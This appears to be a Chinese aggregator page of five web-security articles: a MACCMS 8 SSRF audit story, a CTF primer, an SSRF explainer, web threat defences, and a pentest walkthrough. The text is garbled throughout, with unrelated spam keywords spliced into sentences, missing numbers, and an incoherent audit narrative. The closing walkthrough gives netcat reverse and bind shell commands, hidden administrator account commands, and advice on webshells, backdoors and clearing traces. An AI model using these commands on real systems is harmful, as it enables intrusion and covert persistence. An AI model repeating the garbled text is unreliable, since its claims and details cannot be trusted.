1.代码审计-无回显SSRF的源码奇妙审计之旅
2.CTF入门必备之题型介绍
3.信息安全之SSRF攻击
4.10大Web应用安全威胁及防护建议
5.web渗透是什么?
代码审计-无回显SSRF的奇妙审计之旅
本文探讨了代码审计过程中遇到的一个无回显SSRF漏洞的奇妙审计之旅。此次审计始于一个PHP源码的源码深度挖掘,通过关注函数curl_exec(),源码最终定位到了MACCMS 8系统的源码某个潜在安全风险。
在审计过程中,源码我们首先从函数curl_exec()出发,源码企业门户模板源码深入分析了maccms8\inc\common\function.php文件,源码发现利用此函数的源码潜在风险。经过细致的源码代码查找,我们发现调用getPage()函数的源码环节存在无过滤情况,这为漏洞的源码利用埋下了伏笔。
通过追踪调用getPage()的源码源头,我们找到了一个可能利用的源码入口点,即在inc\common\function.php的源码行。这里,源码传入的$url参数经过了截断拼接,缺乏有效过滤,为我们提供了利用的机会。继续追踪,我们发现savepic()函数可能被利用,它在maccms8\admin\admin_interface.php的第行被调用,且传入参数d_pic可以通过be()函数接收。
be()函数的实现细节在此不再赘述,但它允许通过get或post方式接收参数d_pic。通过分析,我们发现可以利用这一特性构造利用流程,最终定位到实现漏洞利用的关键步骤。
在构造利用流程时,我们关注到在、行的判断条件,以及、行的空值判断,这指向了配置文件config/config.php。ckplayer视频解析源码通过进一步分析,我们了解到可以通过get或post方式传入参数,实现对网站配置的修改,进而触发漏洞。
通过这一系列操作,我们成功构造了利用流程,尝试访问DNS日志,发现数据新增成功,证实了SQL注入的存在,但未直接与SSRF漏洞相关联。经过多次尝试,我们最终利用了文件写入功能,通过构造文件并测试写入成功,揭示了目录与文件名的特殊关联,进而发现了条件竞争的机会。
利用条件竞争,我们成功读取了文件内容,这一过程展示了深入思考和创新思维的重要性。在审计过程中,我们还发现了文件上传这一潜在利用点,通过构造PHP后缀的马,实现了文件解析和shell获取,进一步丰富了利用手段。
总的来说,这次审计之旅充满了挑战与惊喜,强调了代码审计过程中细致观察、深入分析和灵活思考的重要性。通过这次探索,我们不仅发现了SSRF漏洞的利用途径,还拓宽了利用思路,展现了审计技巧与漏洞利用的紧密结合。
CTF入门必备之题型介绍
CTF入门必备,android源码下载编译理解题型至关重要。比赛中的主要题型包括Web渗透、RE逆向、Misc杂项、PWN漏洞利用和Crypto密码破解。
Web类题目是入门者的友好选择,涉及注入、XSS、文件包含等漏洞,信息搜集对解题至关重要。通过敏感目录或备份文件,可以获取源代码和内部URL。例如,Banner识别可揭示框架信息,帮助利用历史漏洞。SQL注入是常见漏洞,包括多种注入方式,如数字型、UNION等。
文件读取漏洞允许攻击者读取私密文件,威胁服务器安全。SSRF漏洞则利用服务端的请求功能,攻击内部系统。命令执行漏洞和XSS漏洞分别涉及恶意命令注入和网页代码注入,需对用户输入进行严格检查。
二进制类题目中,Android题目多关注逆向和杂项。逆向涉及Java/C++的分析和调试,静态与动态分析是常用手段。代码保护和混淆增加了逆向难度,而符号执行和插桩则是解题工具。
PWN题目聚焦于利用漏洞获取权限,电影织梦源码需要强大的逆向和数学能力。密码学题型对参赛者的数学和逻辑思维要求极高,挑战性日益提升。
掌握这些题型,对于新入门的CTF选手来说,是提高解题技能和理解深度的关键步骤。每个领域都有其独特技巧和策略,需要深入学习和实践才能在游戏中脱颖而出。
信息安全之SSRF攻击
在信息安全领域,SSRF(Server Side Request Forgery,服务端请求伪造)攻击是一个严重威胁。与CSRF攻击不同,SSRF攻击发生在服务端,黑客通过控制服务端,发起伪造的请求,绕过认证和授权机制,获取敏感数据或执行危险操作。让我们深入探讨SSRF攻击的原理、影响以及防护策略。
首先,理解CSRF攻击后,让我们来看看服务端发起的伪造请求。服务端通常具备代理请求的功能,允许用户在浏览器中输入URL(如资源),服务端则会向该URL发起请求,从而展示页面内容。黑客利用这一特性,提交内网URL,让服务端发起针对内网的请求,获取敏感信息。这就是SSRF攻击的实现方式。
以百度搜索为例,锁机源码作者当请求地址通过GET参数传递至百度服务器,百度服务器再向其他URL发起请求。黑客在此过程中,通过提交内网地址,实现对内网任意服务的访问,实现所谓的“内网穿透”。这一过程让黑客能以服务端的身份,访问和控制内网资源。
SSRF攻击的影响主要体现在两方面:内网探测与文件读取。黑客利用SSRF攻击,可以通过构造恶意请求,获取内网服务器信息,甚至读取本地文件,从而掌握服务器的敏感信息,如密码、源代码等。百度案例中,黑客通过特定请求逻辑,探测服务器上开启的MySQL服务端口,进一步分析,可将服务器中的文件内容全部拉取出来。
针对SSRF攻击的防护措施主要包括白名单限制、协议限制、请求端限制。白名单限制允许特定域名下的URL,避免黑客发起请求至未知或危险的内网资源。协议和内容类型限制则进一步限制请求和响应的协议类型和内容格式,降低攻击风险。请求端限制则包含限制请求方法(如使用POST而非GET)和对每次请求进行验证,防止恶意请求通过验证。
综上所述,SSRF攻击利用服务端功能发起伪造请求,威胁内网安全。通过实施多种防护策略,包括限制可请求的域名、限制协议和内容类型,以及在请求端进行验证,可以有效降低SSRF攻击的风险,保护应用安全。
大Web应用安全威胁及防护建议
访问控制中断:%的项目被发现含有与访问控制问题相关的安全威胁,其中几乎一半的访问控制中断安全威胁具有中等风险级别,%的项目具有高级别风险。这些风险隐患可能导致Web应用程序出错,并影响组织的业务开展。防护建议:组织应该根据基于角色的访问模式实施身份验证和授权控制。除非某个Web应用程序是面向所有人公开访问,否则就应该在默认情况下拒绝访问。
数据泄露:这种类型的安全威胁在Web应用程序中大量存在。与访问控制中断相比,敏感数据泄露含有数量更多的低风险级漏洞隐患,但也存在高级别的风险漏洞。防护建议:应该严格禁止在Web应用程序发布目录中存储含有敏感数据(如密码或备份)的文件。同时,在访问应用程序函数时需要加强敏感数据检测防护,除非该函数本身用于访问敏感数据。
服务器端请求伪造(SSRF):在本次测试所分析的应用程序中,一半以上(%)的应用程序含有服务器端请求伪造安全威胁,这让恶意攻击者可以绕过应用程序逻辑与内部服务进行非法链接通信。恶意分子还可以结合使用SSRF与其他漏洞,策划攻击Web服务器的方法或读取应用程序源代码。防护建议:组织应该为应用程序可以请求的资源创建一份允许列表(白名单),并阻止请求该列表之外的任何资源,不接受含有完整URL的请求。此外,还设置防火墙过滤器,防止用户访问未授权的域。
SQL注入:在本次测试中,研究人员发现大多数高风险漏洞都与SQL注入有关。防护建议:组织应该在应用程序源代码中使用参数化的SQL查询,而不是将它们与SQL查询模板相结合。如果不能使用参数化的SQL查询,就应该优先确保用户输入并用于生成SQL查询的数据无法用于修改查询逻辑。
跨站脚本(XSS):本次测试所分析的Web应用程序中%存在跨站脚本安全威胁。防护建议:组织可以将HTML页面中不安全的格式化字符替换为非格式化的等效字符,并提供处理用户输入的安全机制。针对从外部数据源获得,并在浏览器中显示的任何数据,都应该这么做。
中断的身份验证:研究人员在这个类别中发现的几乎一半的安全威胁具有中等风险水平(%),但也存在高风险漏洞,允许代表用户的客户端访问Web应用程序。防护建议:组织应该对用于访问应用程序的身份验证数据进行适当的验证。如果使用令牌和会话ID签名,进行验证。用于身份验证的密文(密钥和签名等)应该是唯一的,并具有高度的熵。此外,组织要严格禁止在应用程序代码中存储密文。
安全配置不当:在所有被测试的应用程序中,近一半的项目存在安全配置不当的威胁隐患。防护建议:组织在配置IT基础设施中使用的系统时,应遵循安全最佳实践。应该将设置过程自动化,以消除安装新系统时出现的错误。此外,对测试系统和生产系统使用不同的凭据,并禁用不使用的组件。
蛮力攻击防护不足:在本次测试的应用程序中,超过三分之一允许蛮力攻击。防护建议:组织应该使用CAPTCHA使攻击者更难蛮力破解凭据。用户还可以使用预防控制(WAF和IPS)及时阻止蛮力攻击尝试,不仅应对针对同一账户的多次失效登录,还可以应对同一来源针对不同账户的多次失效登录。
薄弱的用户密码:在本次测试的所有Web应用程序中,%的项目被发现应用了薄弱密码。防护建议:组织应该实施弱密码检查机制,比如针对个最薄弱的密码列表执行检查,以发现新密码或更改的密码。强制执行密码长度、复杂性和过期要求,以及其他基于证据的现代密码策略。
未修复的已知漏洞:最后一项安全威胁是Web应用程序中存在大量未修复的已知漏洞。易受攻击的组件包括框架和各种应用程序依赖项,比如库和模块。其中一些允许研究人员访问应用程序使用的服务器,从而渗入到客户的内部网络。防护建议:组织应该定期清点用户使用的软件组件,并根据需要进行补丁更新。同时,应该仅使用已成功通过安全测试的受信任组件,禁用任何未使用的组件。
web渗透是什么?
Web渗透测试分为白盒测试和黑盒测试,白盒测试是指目标网站的源码等信息的情况下对其渗透,相当于代码分析审计。而黑盒测试则是在对该网站系统信息不知情的情况下渗透,以下所说的Web渗透就是黑盒渗透。
Web渗透分为以下几个步骤,信息收集,漏洞扫描,漏洞利用,提权,内网渗透,留后门,清理痕迹。一般的渗透思路就是看是否有注入漏洞,然后注入得到后台管理员账号密码,登录后台,上传小马,再通过小马上传大马,提权,内网转发,进行内网渗透,扫描内网c段存活主机及开放端口,看其主机有无可利用漏洞(nessus)端口(nmap)对应服务及可能存在的漏洞,对其利用(msf)拿下内网,留下后门,清理痕迹。或者看是否有上传文件的地方,上传一句话木马,再用菜刀链接,拿到数据库并可执行cmd命令,可继续上大马.........思路很多,很多时候成不成功可能就是一个思路的问题,技术可以不高,思路一定得骚。
信息收集
信息收集是整个流程的重中之重,前期信息收集的越多,Web渗透的成功率就越高。
DNS域名信息:通过url获取其真实ip,子域名(Layer子域名爆破机),旁站(K8旁站,御剑1.5),c段,网站负责人及其信息(whois查询)
整站信息:服务器操作系统、服务器类型及版本(Apache/Nginx/Tomcat/IIS)、数据库类型(Mysql/Oracle/Accees/Mqlserver)、脚本类型(php/jsp/asp/aspx)、CMS类型;
网站常见搭配为:
ASP和ASPX:ACCESS、SQLServer
PHP:MySQL、PostgreSQL
JSP:Oracle、MySQL
敏感目录信息(御剑,dirbust)
开放端口信息(nmp)
漏洞扫描
利用AWVS,AppScan,OWASP-ZAP,等可对网站进行网站漏洞的初步扫描,看其是否有可利用漏洞。
常见漏洞:
SQL注入
XSS跨站脚本
CSRF跨站请求伪造
XXE(XML外部实体注入)漏洞
SSRF(服务端请求伪造)漏洞
文件包含漏洞
文件上传漏洞
文件解析漏洞
远程代码执行漏洞
CORS跨域资源共享漏洞
越权访问漏洞
目录遍历漏洞和任意文件读取/下载漏洞
漏洞利用
用工具也好什么也好对相应漏洞进行利用
如:
Sql注入(sqlmap)
XSS(BEEF)
后台密码爆破(burp)
端口爆破(hydra)
提权
获得shell之后我们权限可能很低,因此要对自己提权,可以根据服务器版本对应的exp进行提权,对于Windows系统也可看其补丁对应漏洞的exp进行提权
内网渗透
首先进行端口转发可用nc
nc使用方法:
反向连接
在公网主机上进行监听:
nc-lvp
在内网主机上执行:
nc-e cmd.exe 公网主机ip
成功之后即可得到一个内网主机shell
正向连接
远程主机上执行:
nc-l -p -t -e cmd.exe
本地主机上执行:
nc-vv 远程主机ip
成功后,本地主机即可远程主机的一个shell
然后就是对内网进行渗透了,可以用主机漏洞扫描工具(nessus,x-scan等)进行扫描看是否有可用漏洞,可用msf进行利用,或者用nmap扫描存活主机及开放端口,可用hydra进行端口爆破或者用msf对端口对应漏洞得到shell拿下内网留后门
留后门
对于网站上传一句话木马,留下后门
对于windows用户可用hideadmin创建一个超级隐藏账户
手工:
netuser test$ /add
netlocalgroup administrators test$ /add
这样的话在cmd命令中看不到,但在控制面板可以看到,还需要改注册表才能实现控制版面也看不到,太过麻烦,不多赘述,所以还是用工具省心省力。